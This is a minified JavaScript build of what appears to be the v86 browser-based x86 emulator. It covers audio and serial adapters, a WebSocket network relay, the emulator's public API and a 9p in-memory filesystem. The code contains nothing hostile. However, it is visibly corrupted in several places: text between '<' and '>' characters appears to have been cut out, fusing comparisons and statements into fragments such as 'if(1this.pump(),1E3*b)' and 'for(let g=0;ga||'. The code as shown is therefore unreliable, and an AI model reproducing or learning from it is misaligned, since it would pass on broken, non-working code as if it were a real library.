pb(a,b,c){this.bus=a;this.audio_context=b;this.enabled=!1;this.sampling_rate=22050;this.buffered_time=0;this.rate_ratio=1;this.node_lowpass=this.audio_context.createBiquadFilter();this.node_lowpass.type="lowpass";this.node_output=this.node_lowpass;this.mixer_connection=c.add_source(this.node_output,2);this.mixer_connection.set_gain_hidden(3);a.register("dac-send-data",function(d){this.queue(d)},this);a.register("dac-enable",function(){this.enabled=!0;this.pump()},this);a.register("dac-disable", +function(){this.enabled=!1},this);a.register("dac-tell-sampling-rate",function(d){this.sampling_rate=d;this.rate_ratio=Math.ceil(8E3/d);this.node_lowpass.frequency.setValueAtTime(d/2,this.audio_context.currentTime)},this)} +pb.prototype.queue=function(a){var b=a[0].length,c=b/this.sampling_rate;if(1this.pump(),1E3*b);a.start(this.buffered_time);this.buffered_time+=c;setTimeout(()=>this.pump(),0)};pb.prototype.pump=function(){this.enabled&&(.2l?void 0===this.update_timer&&(this.update_timer=setTimeout(()=>{this.update_timer=void 0;this.last_update=Date.now();this.render()},16-l)):(void 0!==this.update_timer&&(clearTimeout(this.update_timer),this.update_timer=void 0),this.last_update=k,this.render())};this.render=function(){a.value=this.text;this.text_new_line&&(this.text_new_line= +!1,a.scrollTop=1E9)};this.send_char=function(k){f.bus&&f.bus.send("serial0-input",k)}} +function ub(a,b){this.element=a;if(window.Terminal){var c=this.term=new window.Terminal({logLevel:"off"});c.write("This is the serial console. Whatever you type or paste here will be sent to COM1");var d=c.onData(function(e){for(let g=0;ga||(this.last_connect_attempt=Date.now(),this.socket=new WebSocket(this.url),this.socket.binaryType="arraybuffer",this.socket.onopen=this.handle_open.bind(this),this.socket.onmessage=this.handle_message.bind(this),this.socket.onclose=this.handle_close.bind(this),this.socket.onerror=this.handle_error.bind(this))}}; +vb.prototype.send=function(a){this.socket&&1===this.socket.readyState?this.socket.send(a):(this.send_queue.push(a),this.send_queue.length>2*this.send_queue_limit&&(this.send_queue=this.send_queue.slice(-this.send_queue_limit)),this.connect())};vb.prototype.change_proxy=function(a){this.url=a;this.socket&&(this.socket.onclose=function(){},this.socket.onerror=function(){},this.socket.close(),this.socket=void 0)};function Y(a){this.cpu_is_running=!1;this.cpu_exception_hook=function(){};var b=Xa.create();this.bus=b[0];this.emulator_bus=b[1];var c,d;const e=new WebAssembly.Table({element:"anyfunc",initial:1924});b={cpu_exception_hook:f=>this.cpu_exception_hook(f),run_hardware_timers:function(f,k){return c.run_hardware_timers(f,k)},cpu_event_halt:()=>{this.emulator_bus.send("cpu-event-halt")},abort:function(){},microtick:D.microtick,get_rand_int:function(){return r.get_rand_int()},apic_acknowledge_irq:function(){return c.devices.apic.acknowledge_irq()}, +io_port_read8:function(f){return c.io.port_read8(f)},io_port_read16:function(f){return c.io.port_read16(f)},io_port_read32:function(f){return c.io.port_read32(f)},io_port_write8:function(f,k){c.io.port_write8(f,k)},io_port_write16:function(f,k){c.io.port_write16(f,k)},io_port_write32:function(f,k){c.io.port_write32(f,k)},mmap_read8:function(f){return c.mmap_read8(f)},mmap_read16:function(f){return c.mmap_read16(f)},mmap_read32:function(f){return c.mmap_read32(f)},mmap_write8:function(f,k){c.mmap_write8(f, +k)},mmap_write16:function(f,k){c.mmap_write16(f,k)},mmap_write32:function(f,k){c.mmap_write32(f,k)},mmap_write64:function(f,k,l){c.mmap_write64(f,k,l)},mmap_write128:function(f,k,l,m,n){c.mmap_write128(f,k,l,m,n)},log_from_wasm:function(f,k){r.read_sized_string_from_mem(d,f,k)},console_log_from_wasm:function(f,k){f=r.read_sized_string_from_mem(d,f,k);console.error(f)},dbg_trace_from_wasm:function(){},codegen_finalize:(f,k,l,m,n)=>{c.codegen_finalize(f,k,l,m,n)},jit_clear_func:f=>c.jit_clear_func(f), +jit_clear_all_funcs:()=>c.jit_clear_all_funcs(),__indirect_function_table:e};let g=a.wasm_fn;g||(g=f=>new Promise(k=>{let l="v86.wasm",m="v86-fallback.wasm";if(a.wasm_path){l=a.wasm_path;const n=l.lastIndexOf("/");m=(-1===n?"":l.substr(0,n))+"/"+m}else"undefined"===typeof window&&"string"===typeof __dirname?(l=__dirname+"/"+l,m=__dirname+"/"+m):(l="build/"+l,m="build/"+m);r.load_file(l,{done:async n=>{try{const {instance:p}=await WebAssembly.instantiate(n,f);this.wasm_source=n;k(p.exports)}catch(p){r.load_file(m, +{done:async t=>{const {instance:q}=await WebAssembly.instantiate(t,f);this.wasm_source=t;k(q.exports)}})}},progress:n=>{this.emulator_bus.send("download-progress",{file_index:0,file_count:1,file_name:l,lengthComputable:n.lengthComputable,total:n.total,loaded:n.loaded})}})}));g({env:b}).then(f=>{d=f.memory;f.rust_init();f=this.v86=new D(this.emulator_bus,{exports:f,wasm_table:e});c=f.cpu;this.continue_init(f,a)});this.zstd_worker=null;this.zstd_worker_request_id=0} +Y.prototype.continue_init=async function(a,b){function c(t,q){switch(t){case "hda":e.hda=this.disk_images.hda=q;break;case "hdb":e.hdb=this.disk_images.hdb=q;break;case "cdrom":e.cdrom=this.disk_images.cdrom=q;break;case "fda":e.fda=this.disk_images.fda=q;break;case "fdb":e.fdb=this.disk_images.fdb=q;break;case "multiboot":e.multiboot=this.disk_images.multiboot=q.buffer;break;case "bzimage":e.bzimage=this.disk_images.bzimage=q.buffer;break;case "initrd":e.initrd=this.disk_images.initrd=q.buffer;break; +case "bios":e.bios=q.buffer;break;case "vga_bios":e.vga_bios=q.buffer;break;case "initial_state":e.initial_state=q.buffer;break;case "fs9p_json":e.fs9p_json=q}}async function d(){if(e.fs9p&&e.fs9p_json&&(e.initial_state||e.fs9p.load_from_json(e.fs9p_json),b.bzimage_initrd_from_filesystem)){const {bzimage_path:t,initrd_path:q}=this.get_bzimage_initrd_from_filesystem(e.fs9p),[z,w]=await Promise.all([e.fs9p.read_file(q),e.fs9p.read_file(t)]);c.call(this,"initrd",new r.SyncBuffer(z.buffer));c.call(this, +"bzimage",new r.SyncBuffer(w.buffer))}this.serial_adapter&&this.serial_adapter.show&&this.serial_adapter.show();this.bus.send("cpu-init",e);e.initial_state&&(a.restore_state(e.initial_state),e.initial_state=void 0);b.autostart&&this.bus.send("cpu-run");this.emulator_bus.send("emulator-loaded")}this.bus.register("emulator-stopped",function(){this.cpu_is_running=!1},this);this.bus.register("emulator-started",function(){this.cpu_is_running=!0},this);var e={};this.disk_images={fda:void 0,fdb:void 0,hda:void 0, +hdb:void 0,cdrom:void 0};var g=b.boot_order?b.boot_order:b.fda?801:b.hda?786:291;e.acpi=b.acpi;e.disable_jit=b.disable_jit;e.load_devices=!0;e.log_level=b.log_level;e.memory_size=b.memory_size||67108864;e.vga_memory_size=b.vga_memory_size||8388608;e.boot_order=g;e.fastboot=b.fastboot||!1;e.fda=void 0;e.fdb=void 0;e.uart1=b.uart1;e.uart2=b.uart2;e.uart3=b.uart3;e.cmdline=b.cmdline;e.preserve_mac_from_state_image=b.preserve_mac_from_state_image;e.mac_address_translation=b.mac_address_translation;e.cpuid_level= +b.cpuid_level;e.virtio_console=b.virtio_console;b.network_adapter?this.network_adapter=b.network_adapter(this.bus):b.network_relay_url&&(this.network_adapter=new vb(b.network_relay_url,this.bus));e.enable_ne2k=!0;b.disable_keyboard||(this.keyboard_adapter=new lb(this.bus));b.disable_mouse||(this.mouse_adapter=new mb(this.bus,b.screen_container));b.screen_container?this.screen_adapter=new ba(b.screen_container,this.bus):b.screen_dummy&&(this.screen_adapter=new wb(this.bus));b.serial_container&&(this.serial_adapter= +new tb(b.serial_container,this.bus));b.serial_container_xtermjs&&(this.serial_adapter=new ub(b.serial_container_xtermjs,this.bus));b.disable_speaker||(this.speaker_adapter=new nb(this.bus));var f=[];g=(t,q)=>{if(q)if(q.get&&q.set&&q.load)f.push({name:t,loadable:q});else{if("bios"===t||"vga_bios"===t||"initial_state"===t||"multiboot"===t||"bzimage"===t||"initrd"===t)q.async=!1;q.url&&!q.async?f.push({name:t,url:q.url,size:q.size}):f.push({name:t,loadable:r.buffer_from_object(q,this.zstd_decompress_worker.bind(this))})}}; +b.state&&console.warn("Warning: Unknown option 'state'. Did you mean 'initial_state'?");g("bios",b.bios);g("vga_bios",b.vga_bios);g("cdrom",b.cdrom);g("hda",b.hda);g("hdb",b.hdb);g("fda",b.fda);g("fdb",b.fdb);g("initial_state",b.initial_state);g("multiboot",b.multiboot);g("bzimage",b.bzimage);g("initrd",b.initrd);if(b.filesystem){g=b.filesystem.basefs;var k=b.filesystem.baseurl;let t=new xb;k&&(t=new yb(t,k));e.fs9p=this.fs9p=new Z(t);if(g){if("object"===typeof g){var l=g.size;g=g.url}f.push({name:"fs9p_json", +url:g,size:l,as_json:!0})}}var m=this,n=f.length,p=function(t){if(t===n)setTimeout(d.bind(this),0);else{var q=f[t];q.loadable?(q.loadable.onload=function(){c.call(this,q.name,q.loadable);p(t+1)}.bind(this),q.loadable.load()):r.load_file(q.url,{done:function(z){q.url.endsWith(".zst")&&"initial_state"!==q.name&&(z=this.zstd_decompress(q.size,new Uint8Array(z)));c.call(this,q.name,q.as_json?z:new r.SyncBuffer(z));p(t+1)}.bind(this),progress:function(z){200===z.target.status?m.emulator_bus.send("download-progress", +{file_index:t,file_count:n,file_name:q.url,lengthComputable:z.lengthComputable,total:z.total||q.size,loaded:z.loaded}):m.emulator_bus.send("download-error",{file_index:t,file_count:n,file_name:q.url,request:z.target})},as_json:q.as_json})}}.bind(this);p(0)}; +Y.prototype.zstd_decompress=function(a,b){const c=this.v86.cpu;this.zstd_context=c.zstd_create_ctx(b.length);(new Uint8Array(c.wasm_memory.buffer)).set(b,c.zstd_get_src_ptr(this.zstd_context));b=c.zstd_read(this.zstd_context,a);const d=c.wasm_memory.buffer.slice(b,b+a);c.zstd_read_free(b,a);c.zstd_free_ctx(this.zstd_context);this.zstd_context=null;return d}; +Y.prototype.zstd_decompress_worker=async function(a,b){if(!this.zstd_worker){const c=URL.createObjectURL(new Blob(["("+function(){let d;globalThis.onmessage=function(e){if(d){var {src:g,decompressed_size:f,id:k}=e.data;e=d.exports;var l=e.zstd_create_ctx(g.length);(new Uint8Array(e.memory.buffer)).set(g,e.zstd_get_src_ptr(l));var m=e.zstd_read(l,f),n=e.memory.buffer.slice(m,m+f);e.zstd_read_free(m,f);e.zstd_free_ctx(l);postMessage({result:n,id:k},[n])}else l=Object.fromEntries("cpu_exception_hook run_hardware_timers cpu_event_halt microtick get_rand_int apic_acknowledge_irq io_port_read8 io_port_read16 io_port_read32 io_port_write8 io_port_write16 io_port_write32 mmap_read8 mmap_read16 mmap_read32 mmap_write8 mmap_write16 mmap_write32 mmap_write64 mmap_write128 codegen_finalize jit_clear_func jit_clear_all_funcs".split(" ").map(p=> +[p,()=>console.error("zstd worker unexpectedly called "+p)])),l.__indirect_function_table=new WebAssembly.Table({element:"anyfunc",initial:1024}),l.abort=()=>{throw Error("zstd worker aborted");},l.log_from_wasm=l.console_log_from_wasm=(p,t)=>{console.log(String.fromCharCode(...(new Uint8Array(d.exports.memory.buffer,p,t))))},l.dbg_trace_from_wasm=()=>console.trace(),d=new WebAssembly.Instance(new WebAssembly.Module(e.data),{env:l})}}.toString()+")()"],{type:"text/javascript"}));this.zstd_worker= +new Worker(c);URL.revokeObjectURL(c);this.zstd_worker.postMessage(this.wasm_source,[this.wasm_source])}return new Promise(c=>{const d=this.zstd_worker_request_id++,e=async g=>{g.data.id===d&&(this.zstd_worker.removeEventListener("message",e),c(g.data.result))};this.zstd_worker.addEventListener("message",e);this.zstd_worker.postMessage({src:b,decompressed_size:a,id:d},[b.buffer])})}; +Y.prototype.get_bzimage_initrd_from_filesystem=function(a){const b=(a.read_dir("/")||[]).map(e=>"/"+e);a=(a.read_dir("/boot/")||[]).map(e=>"/boot/"+e);let c,d;for(let e of[].concat(b,a)){const g=/old/i.test(e)||/fallback/i.test(e),f=/vmlinuz/i.test(e)||/bzimage/i.test(e),k=/initrd/i.test(e)||/initramfs/i.test(e);!f||d&&g||(d=e);!k||c&&g||(c=e)}c&&d||(console.log("Failed to find bzimage or initrd in filesystem. Files:"),console.log(b.join(" ")),console.log(a.join(" ")));return{initrd_path:c,bzimage_path:d}}; +Y.prototype.run=async function(){this.bus.send("cpu-run")};F.exportProperty(Y.prototype,"run",Y.prototype.run);Y.prototype.stop=async function(){this.cpu_is_running&&await new Promise(a=>{const b=()=>{this.remove_listener("emulator-stopped",b);a()};this.add_listener("emulator-stopped",b);this.bus.send("cpu-stop")})};F.exportProperty(Y.prototype,"stop",Y.prototype.stop); +Y.prototype.destroy=async function(){await this.stop();this.v86.destroy();this.keyboard_adapter&&this.keyboard_adapter.destroy();this.network_adapter&&this.network_adapter.destroy();this.mouse_adapter&&this.mouse_adapter.destroy();this.screen_adapter&&this.screen_adapter.destroy();this.serial_adapter&&this.serial_adapter.destroy();this.speaker_adapter&&this.speaker_adapter.destroy()};F.exportProperty(Y.prototype,"destroy",Y.prototype.destroy);Y.prototype.restart=function(){this.bus.send("cpu-restart")}; +F.exportProperty(Y.prototype,"restart",Y.prototype.restart);Y.prototype.add_listener=function(a,b){this.bus.register(a,b,this)};F.exportProperty(Y.prototype,"add_listener",Y.prototype.add_listener);Y.prototype.remove_listener=function(a,b){this.bus.unregister(a,b)};F.exportProperty(Y.prototype,"remove_listener",Y.prototype.remove_listener);Y.prototype.restore_state=async function(a){this.v86.restore_state(a)};F.exportProperty(Y.prototype,"restore_state",Y.prototype.restore_state); +Y.prototype.save_state=async function(){return this.v86.save_state()};F.exportProperty(Y.prototype,"save_state",Y.prototype.save_state);Y.prototype.get_instruction_counter=function(){return this.v86?this.v86.cpu.instruction_counter[0]>>>0:0};F.exportProperty(Y.prototype,"get_instruction_counter",Y.prototype.get_instruction_counter);Y.prototype.is_running=function(){return this.cpu_is_running};F.exportProperty(Y.prototype,"is_running",Y.prototype.is_running); +Y.prototype.set_fda=async function(a){if(a.url&&!a.async)r.load_file(a.url,{done:b=>{this.v86.cpu.devices.fdc.set_fda(new r.SyncBuffer(b))}});else{const b=r.buffer_from_object(a,this.zstd_decompress_worker.bind(this));b.onload=()=>{this.v86.cpu.devices.fdc.set_fda(b)};await b.load()}};F.exportProperty(Y.prototype,"set_fda",Y.prototype.set_fda);Y.prototype.eject_fda=function(){this.v86.cpu.devices.fdc.eject_fda()};F.exportProperty(Y.prototype,"eject_fda",Y.prototype.eject_fda); +Y.prototype.keyboard_send_scancodes=function(a){for(var b=0;b{const k=this.fs9p.Mount(a,g);d&&(-2===k?d(new zb):-17===k?d(new Db):0>k?d(Error("Failed to mount. Error number: "+-k)):d(null))};b?g.load_from_json(c,()=>f()):f()};F.exportProperty(Y.prototype,"mount_fs",Y.prototype.mount_fs); +Y.prototype.create_file=async function(a,b){var c=this.fs9p;if(c){var d=a.split("/");d=d[d.length-1];a=c.SearchPath(a).parentid;if(""!==d&&-1!==a)await c.CreateBinaryFile(d,a,b);else return Promise.reject(new zb)}};F.exportProperty(Y.prototype,"create_file",Y.prototype.create_file);Y.prototype.read_file=async function(a){var b=this.fs9p;if(b)return(a=await b.read_file(a))?a:Promise.reject(new zb)};F.exportProperty(Y.prototype,"read_file",Y.prototype.read_file); +Y.prototype.automatically=function(a){const b=c=>{const d=c[0];if(d){var e=c.slice(1);if(d.sleep)setTimeout(()=>b(e),1E3*d.sleep);else if(d.vga_text){const g=this.screen_adapter.get_text_screen();for(let f of g)if(f.includes(d.vga_text)){b(e);return}setTimeout(()=>b(c),1E3)}else d.keyboard_send?(d.keyboard_send instanceof Array?this.keyboard_send_scancodes(d.keyboard_send):this.keyboard_send_text(d.keyboard_send),b(e)):d.call&&(d.call(),b(e))}};b(a)}; +Y.prototype.read_memory=function(a,b){return this.v86.cpu.read_blob(a,b)};Y.prototype.write_memory=function(a,b){this.v86.cpu.write_blob(a,b)};Y.prototype.set_serial_container_xtermjs=function(a){this.serial_adapter&&this.serial_adapter.destroy&&this.serial_adapter.destroy();this.serial_adapter=new ub(a,this.bus);this.serial_adapter.show()};function Db(a){this.message=a||"File already exists"}Db.prototype=Error.prototype;function zb(a){this.message=a||"File not found"}zb.prototype=Error.prototype; +"undefined"!==typeof window?(window.V86Starter=Y,window.V86=Y):"undefined"!==typeof module&&"undefined"!==typeof module.exports?(module.exports.V86Starter=Y,module.exports.V86=Y):"function"===typeof importScripts&&(self.V86Starter=Y,self.V86=Y);var Eb={Connector:function(a){this.listeners={};this.pair=a;a.addEventListener("message",function(b){b=b.data;for(var c=this.listeners[b[0]],d=0;d>20)+"m\n";b=b+"Config:\nJIT_DISABLED="+(a.wm.exports.get_jit_config(0)+"\n");b+="MAX_PAGES="+a.wm.exports.get_jit_config(1)+"\n";b+="JIT_USE_LOOP_SAFETY="+!!a.wm.exports.get_jit_config(2)+"\n";return b+="MAX_EXTRA_BASIC_BLOCKS="+a.wm.exports.get_jit_config(3)+"\n"},print_instruction_counts:function(a){return[Fb.print_instruction_counts_offset(a, +!1,!1,!1,!1),Fb.print_instruction_counts_offset(a,!0,!1,!1,!1),Fb.print_instruction_counts_offset(a,!1,!0,!1,!1),Fb.print_instruction_counts_offset(a,!1,!1,!0,!1),Fb.print_instruction_counts_offset(a,!1,!1,!1,!0)].join("\n\n")},print_instruction_counts_offset:function(a,b,c,d,e){let g="";var f=[],k=b?"compiled":c?"jit exit":d?"unguarded register":e?"wasm size":"executed";for(let n=0;256>n;n++)for(let p=0;8>p;p++)for(let t of[!1,!0]){var l=a.wm.exports.get_opstats_buffer(b,c,d,e,n,!1,t,p);f.push({opcode:n, +count:l,is_mem:t,fixed_g:p});l=a.wm.exports.get_opstats_buffer(b,c,d,e,n,!0,t,p);f.push({opcode:3840|n,count:l,is_mem:t,fixed_g:p})}a=0;b=new Set([38,46,54,62,100,101,102,103,240,242,243]);for(let {count:n,opcode:p}of f)b.has(p)||(a+=n);if(0===a)return"";c=new Uint32Array(256);b=new Uint32Array(256);for(let {opcode:n,count:p}of f)3840==(n&65280)?b[n&255]+=p:c[n&255]+=p;g=g+"------------------\nTotal: "+(a+"\n");const m=1E7Math.round(n/m)));d=String(d).length; +g+=`Instruction counts ${k} (in ${m}):\n`;for(e=0;256>e;e++)g+=e.toString(16).padStart(2,"0")+":"+r.pads(Math.round(c[e]/m),d),g=15==e%16?g+"\n":g+" ";g=g+"\n"+`Instruction counts ${k} (0f, in ${m}):\n`;for(k=0;256>k;k++)g+=(k&255).toString(16).padStart(2,"0")+":"+r.pads(Math.round(b[k]/m),d),g=15==k%16?g+"\n":g+" ";g+="\n";f=f.filter(({count:n})=>n).sort(({count:n},{count:p})=>p-n);for(let {opcode:n,is_mem:p,fixed_g:t,count:q}of f.slice(0,200))f=n.toString(16)+"_"+t+(p?"_m":"_r"),g+=f+":"+(q/a*100).toFixed(2)+ +" ";return g+"\n"}};"undefined"!==typeof module&&"undefined"!==typeof module.exports&&(module.exports.print_stats=Fb);function xb(){this.filedata=new Map}xb.prototype.read=async function(a,b,c){return(a=this.filedata.get(a))?a.subarray(b,b+c):null};xb.prototype.cache=async function(a,b){this.filedata.set(a,b)};xb.prototype.uncache=function(a){this.filedata.delete(a)};function yb(a,b){this.storage=a;this.baseurl=b}yb.prototype.load_from_server=function(a){return new Promise(b=>{r.load_file(this.baseurl+a,{done:async c=>{c=new Uint8Array(c);await this.cache(a,c);b(c)}})})}; +yb.prototype.read=async function(a,b,c){const d=await this.storage.read(a,b,c);return d?d:(await this.load_from_server(a)).subarray(b,b+c)};yb.prototype.cache=async function(a,b){return await this.storage.cache(a,b)};yb.prototype.uncache=function(a){this.storage.uncache(a)}; +"undefined"!==typeof window?(window.MemoryFileStorage=xb,window.ServerFileStorageWrapper=yb):"undefined"!==typeof module&&"undefined"!==typeof module.exports?(module.exports.MemoryFileStorage=xb,module.exports.ServerFileStorageWrapper=yb):"function"===typeof importScripts&&(self.MemoryFileStorage=xb,self.ServerFileStorageWrapper=yb);var ha=16384,ia=4;function Z(a,b){this.inodes=[];this.events=[];this.storage=a;this.qidcounter=b||{last_qidnumber:0};this.inodedata={};this.total_size=274877906944;this.used_size=0;this.mounts=[];this.CreateDirectory("",-1)}Z.prototype.get_state=function(){let a=[];a[0]=this.inodes;a[1]=this.qidcounter.last_qidnumber;a[2]=[];for(const [b,c]of Object.entries(this.inodedata))0===(this.inodes[b].mode&ha)&&a[2].push([b,c]);a[3]=this.total_size;a[4]=this.used_size;return a=a.concat(this.mounts)}; +Z.prototype.set_state=function(a){this.inodes=a[0].map(b=>{const c=new Gb(0);c.set_state(b);return c});this.qidcounter.last_qidnumber=a[1];this.inodedata={};for(let [b,c]of a[2])c.buffer.byteLength!==c.byteLength&&(c=c.slice()),this.inodedata[b]=c;this.total_size=a[3];this.used_size=a[4];this.mounts=a.slice(5)};Z.prototype.AddEvent=function(a,b){var c=this.inodes[a];0==c.status||2==c.status?b():this.is_forwarder(c)?this.follow_fs(c).AddEvent(c.foreign_id,b):this.events.push({id:a,OnEvent:b})}; +Z.prototype.HandleEvent=function(a){var b=this.inodes[a];this.is_forwarder(b)&&this.follow_fs(b).HandleEvent(b.foreign_id);b=[];for(var c=0;c>8;this.qid.version=a[11];this.qid.path=a[12];this.nlinks=a[13]}; +Z.prototype.divert=function(a,b){const c=this.Search(a,b),d=this.inodes[c],e=new Gb(-1);this.IsDirectory(c);Object.assign(e,d);const g=this.inodes.length;this.inodes.push(e);e.fid=g;this.is_forwarder(d)&&this.mounts[d.mount_id].backtrack.set(d.foreign_id,g);this.should_be_linked(d)&&(this.unlink_from_dir(a,b),this.link_under_dir(a,g,b));if(this.IsDirectory(c)&&!this.is_forwarder(d))for(const [f,k]of e.direntries)"."!==f&&".."!==f&&this.IsDirectory(k)&&this.inodes[k].direntries.set("..",g);this.inodedata[g]= +this.inodedata[c];delete this.inodedata[c];d.direntries=new Map;d.nlinks=0;return g};Z.prototype.copy_inode=function(a,b){Object.assign(b,a,{fid:b.fid,direntries:b.direntries,nlinks:b.nlinks})};Z.prototype.CreateInode=function(){const a=Math.round(Date.now()/1E3),b=new Gb(++this.qidcounter.last_qidnumber);b.atime=b.ctime=b.mtime=a;return b}; +Z.prototype.CreateDirectory=function(a,b){var c=this.inodes[b];if(0<=b&&this.is_forwarder(c))return b=c.foreign_id,a=this.follow_fs(c).CreateDirectory(a,b),this.create_forwarder(c.mount_id,a);c=this.CreateInode();c.mode=511|ha;0<=b&&(c.uid=this.inodes[b].uid,c.gid=this.inodes[b].gid,c.mode=this.inodes[b].mode&511|ha);c.qid.type=ha>>8;this.PushInode(c,b,a);this.NotifyListeners(this.inodes.length-1,"newdir");return this.inodes.length-1}; +Z.prototype.CreateFile=function(a,b){var c=this.inodes[b];if(this.is_forwarder(c))return b=c.foreign_id,a=this.follow_fs(c).CreateFile(a,b),this.create_forwarder(c.mount_id,a);c=this.CreateInode();c.uid=this.inodes[b].uid;c.gid=this.inodes[b].gid;c.qid.type=128;c.mode=this.inodes[b].mode&438|32768;this.PushInode(c,b,a);this.NotifyListeners(this.inodes.length-1,"newfile");return this.inodes.length-1}; +Z.prototype.CreateNode=function(a,b,c,d){var e=this.inodes[b];if(this.is_forwarder(e))return b=e.foreign_id,a=this.follow_fs(e).CreateNode(a,b,c,d),this.create_forwarder(e.mount_id,a);e=this.CreateInode();e.major=c;e.minor=d;e.uid=this.inodes[b].uid;e.gid=this.inodes[b].gid;e.qid.type=192;e.mode=this.inodes[b].mode&438;this.PushInode(e,b,a);return this.inodes.length-1}; +Z.prototype.CreateSymlink=function(a,b,c){var d=this.inodes[b];if(this.is_forwarder(d))return b=d.foreign_id,a=this.follow_fs(d).CreateSymlink(a,b,c),this.create_forwarder(d.mount_id,a);d=this.CreateInode();d.uid=this.inodes[b].uid;d.gid=this.inodes[b].gid;d.qid.type=160;d.symlink=c;d.mode=40960;this.PushInode(d,b,a);return this.inodes.length-1}; +Z.prototype.CreateTextFile=async function(a,b,c){var d=this.inodes[b];if(this.is_forwarder(d))return b=d.foreign_id,c=await this.follow_fs(d).CreateTextFile(a,b,c),this.create_forwarder(d.mount_id,c);d=this.CreateFile(a,b);b=this.inodes[d];a=new Uint8Array(c.length);b.size=c.length;for(b=0;bf)return f}var k=this.inodes[e],l=this.inodes[a];f=this.inodes[c];if(this.is_forwarder(l)||this.is_forwarder(f))if(this.is_forwarder(l)&&l.mount_id===f.mount_id){if(a=await this.follow_fs(l).Rename(l.foreign_id,b,f.foreign_id,d),0>a)return a}else{if(this.is_a_root(e)||!this.IsDirectory(e)&&1f)return f;await this.DeleteData(l);a=this.Unlink(a,b);if(0>a)return a}else this.unlink_from_dir(a,b),this.link_under_dir(c,e,d),k.qid.version++;this.NotifyListeners(e,"rename",{oldpath:g});return 0}; +Z.prototype.Write=async function(a,b,c,d){this.NotifyListeners(a,"write");var e=this.inodes[a];if(this.is_forwarder(e))a=e.foreign_id,await this.follow_fs(e).Write(a,b,c,d);else{var g=await this.get_buffer(a);!g||g.lengthb.nlinks&&y.Debug("Error in filesystem: negative nlinks="+b.nlinks+" at id ="+a);if(this.IsDirectory(a)){b=this.GetInode(a);this.IsDirectory(a)&&0>this.GetParent(a)&&y.Debug("Error in filesystem: negative parent id "+a);for(const [c,d]of b.direntries){0===c.length&&y.Debug("Error in filesystem: inode with no name and id "+d);for(const e of c)32>e&&y.Debug("Error in filesystem: Unallowed char in filename")}}}}; +Z.prototype.FillDirectory=function(a){var b=this.inodes[a];if(this.is_forwarder(b))this.follow_fs(b).FillDirectory(b.foreign_id);else{var c=0;for(const d of b.direntries.keys())c+=24+Ib.UTF8Length(d);a=this.inodedata[a]=new Uint8Array(c);b.size=c;c=0;for(const [d,e]of b.direntries)b=this.GetInode(e),c+=v.Marshall(["Q","d","b","s"],[b.qid,c+13+8+1+2+Ib.UTF8Length(d),b.mode>>12,d],a,c)}}; +Z.prototype.RoundToDirentry=function(a,b){a=this.inodedata[a];if(b>=a.length)return a.length;let c=0;for(;;){const d=v.Unmarshall(["Q","d"],a,{offset:c})[1];if(d>b)break;c=d}return c};Z.prototype.IsDirectory=function(a){a=this.inodes[a];return this.is_forwarder(a)?this.follow_fs(a).IsDirectory(a.foreign_id):(a.mode&61440)===ha}; +Z.prototype.IsEmpty=function(a){a=this.inodes[a];if(this.is_forwarder(a))return this.follow_fs(a).IsDirectory(a.foreign_id);for(const b of a.direntries.keys())if("."!==b&&".."!==b)return!1;return!0};Z.prototype.GetChildren=function(a){this.IsDirectory(a);a=this.inodes[a];if(this.is_forwarder(a))return this.follow_fs(a).GetChildren(a.foreign_id);const b=[];for(const c of a.direntries.keys())"."!==c&&".."!==c&&b.push(c);return b}; +Z.prototype.GetParent=function(a){this.IsDirectory(a);a=this.inodes[a];if(this.should_be_linked(a))return a.direntries.get("..");const b=this.follow_fs(a).GetParent(a.foreign_id);return this.get_forwarder(a.mount_id,b)}; +Z.prototype.PrepareCAPs=function(a){a=this.GetInode(a);if(a.caps)return a.caps.length;a.caps=new Uint8Array(20);a.caps[0]=0;a.caps[1]=0;a.caps[2]=0;a.caps[3]=2;a.caps[4]=255;a.caps[5]=255;a.caps[6]=255;a.caps[7]=255;a.caps[8]=255;a.caps[9]=255;a.caps[10]=255;a.caps[11]=255;a.caps[12]=63;a.caps[13]=0;a.caps[14]=0;a.caps[15]=0;a.caps[16]=63;a.caps[17]=0;a.caps[18]=0;a.caps[19]=0;return a.caps.length};function Jb(a){this.fs=a;this.backtrack=new Map} +Jb.prototype.get_state=function(){const a=[];a[0]=this.fs;a[1]=[...this.backtrack];return a};Jb.prototype.set_state=function(a){this.fs=a[0];this.backtrack=new Map(a[1])};Z.prototype.set_forwarder=function(a,b,c){const d=this.inodes[a];this.is_forwarder(d)&&this.mounts[d.mount_id].backtrack.delete(d.foreign_id);d.status=5;d.mount_id=b;d.foreign_id=c;this.mounts[b].backtrack.set(c,a)}; +Z.prototype.create_forwarder=function(a,b){const c=this.CreateInode(),d=this.inodes.length;this.inodes.push(c);c.fid=d;this.set_forwarder(d,a,b);return d};Z.prototype.is_forwarder=function(a){return 5===a.status};Z.prototype.is_a_root=function(a){return 0===this.GetInode(a).fid};Z.prototype.get_forwarder=function(a,b){const c=this.mounts[a].backtrack.get(b);return void 0===c?this.create_forwarder(a,b):c};Z.prototype.delete_forwarder=function(a){this.is_forwarder(a);a.status=-1;this.mounts[a.mount_id].backtrack.delete(a.foreign_id)}; +Z.prototype.follow_fs=function(a){const b=this.mounts[a.mount_id];this.is_forwarder(a);return b.fs};Z.prototype.Mount=function(a,b){a=this.SearchPath(a);if(-1===a.parentid)return-2;if(-1!==a.id)return-17;if(a.forward_path){var c=this.inodes[a.parentid];b=this.follow_fs(c).Mount(a.forward_path,b);return 0>b?b:this.get_forwarder(c.mount_id,b)}c=this.mounts.length;this.mounts.push(new Jb(b));b=this.create_forwarder(c,0);this.link_under_dir(a.parentid,b,a.name);return b}; +function Hb(){this.type=2;this.start=0;this.length=Infinity;this.proc_id=-1;this.client_id=""}Hb.prototype.get_state=function(){const a=[];a[0]=this.type;a[1]=this.start;a[2]=Infinity===this.length?0:this.length;a[3]=this.proc_id;a[4]=this.client_id;return a};Hb.prototype.set_state=function(a){this.type=a[0];this.start=a[1];this.length=0===a[2]?Infinity:a[2];this.proc_id=a[3];this.client_id=a[4]};Hb.prototype.clone=function(){const a=new Hb;a.set_state(this.get_state());return a}; +Hb.prototype.conflicts_with=function(a){return this.proc_id===a.proc_id&&this.client_id===a.client_id||2===this.type||2===a.type||1!==this.type&&1!==a.type||this.start+this.length<=a.start||a.start+a.length<=this.start?!1:!0};Hb.prototype.is_alike=function(a){return a.proc_id===this.proc_id&&a.client_id===this.client_id&&a.type===this.type};Hb.prototype.may_merge_after=function(a){return this.is_alike(a)&&a.start+a.length===this.start}; +Z.prototype.DescribeLock=function(a,b,c,d,e){const g=new 